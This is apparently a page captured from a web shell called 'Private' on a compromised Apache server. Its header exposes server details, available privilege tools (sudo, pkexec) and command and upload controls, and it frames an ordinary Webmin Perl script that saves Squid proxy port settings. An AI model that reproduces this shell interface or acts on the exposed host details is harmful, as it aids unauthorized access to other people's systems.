Private
Server IP : 195.201.23.43  /  Your IP : 3.15.236.40
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/squid/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/squid/save_ports.cgi
#!/usr/bin/perl
# save_ports.cgi
# Save ports and other networking options

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our (%text, %in, %access, $squid_version, %config);
require './squid-lib.pl';
$access{'portsnets'} || &error($text{'eports_ecannot'});
&ReadParse();
&lock_file($config{'squid_conf'});
my $conf = &get_config();
&error_setup($text{'sport_ftspo'});

if ($squid_version >= 2.3 && $in{'ports_def'}) {
	&save_directive($conf, 'http_port', [ ]);
	}
elsif ($squid_version >= 2.3) {
	&save_ports("http_port");
	if ($squid_version >= 2.5) {
		&save_ports("https_port");
		}
	}
else {
	&save_opt("http_port", \&check_port, $conf);
	&save_opt("tcp_incoming_address", \&check_address, $conf);
	}
&save_opt("icp_port", \&check_port, $conf);
&save_opt("tcp_outgoing_address", \&check_address, $conf);
&save_opt("udp_outgoing_address", \&check_address, $conf);
&save_opt("udp_incoming_address", \&check_address, $conf);
if (!$in{'udp_outgoing_address_def'} && !$in{'udp_incoming_address_def'} &&
     $in{'udp_outgoing_address'} eq $in{'udp_incoming_address'}) {
	&error("The outgoing and incoming UDP addresses cannot be the same");
	}
&save_address("mcast_groups", $conf);
&save_opt("tcp_recv_bufsize", \&check_bufsize, $conf);
if ($squid_version >= 2.6) {
	&save_choice("check_hostnames", "on", $conf);
	&save_choice("allow_underscore", "on", $conf);
	}
if ($squid_version >= 2.5) {
	&save_choice("ssl_unclean_shutdown", "off", $conf);
	}
&flush_file_lines();
&unlock_file($config{'squid_conf'});
&webmin_log("ports", undef, undef, \%in);
&redirect("");

sub check_port
{
return $_[0] =~ /^\d+$/ ? undef : &text('sport_emsg1',$_[0]);
}

sub check_address
{
return &to_ipaddress($_[0]) || &to_ip6address($_[0]) ? undef :
	&text('sport_emsg2',$_[0]);

}

sub check_bufsize
{
return $_[0] =~ /^\d+$/ ? undef : &text('sport_emsg3',$_[0]);
}

# save_ports(name)
sub save_ports
{
my ($name) = @_;
my ($i, $port, $addr, @ports);
for($i=0; defined($port = $in{$name."_port_".$i}); $i++) {
	next if (!$port);
	$port =~ /^\d+$/ || &error("'$port' is not a valid port");
	if ($in{$name."_addr_def_".$i}) {
		push(@ports, { 'name' => $name,
			       'values' => [ $port ] } );
		}
	else {
		$addr = $in{$name."_addr_".$i};
		&to_ipaddress($addr) || &to_ip6address($addr) ||
			&error("'$addr' is not a valid proxy address");
		$addr = "[$addr]" if (&check_ip6address($addr));
		push(@ports, { 'name' => $name,
			       'values' => [ "$addr:$port" ] } );
		}
	if ($squid_version >= 2.5) {
		push(@{$ports[$#ports]->{'values'}},
		     split(/\s+/, $in{$name."_opts_".$i}));
		}
	}
&save_directive($conf, $name, \@ports);
}

Private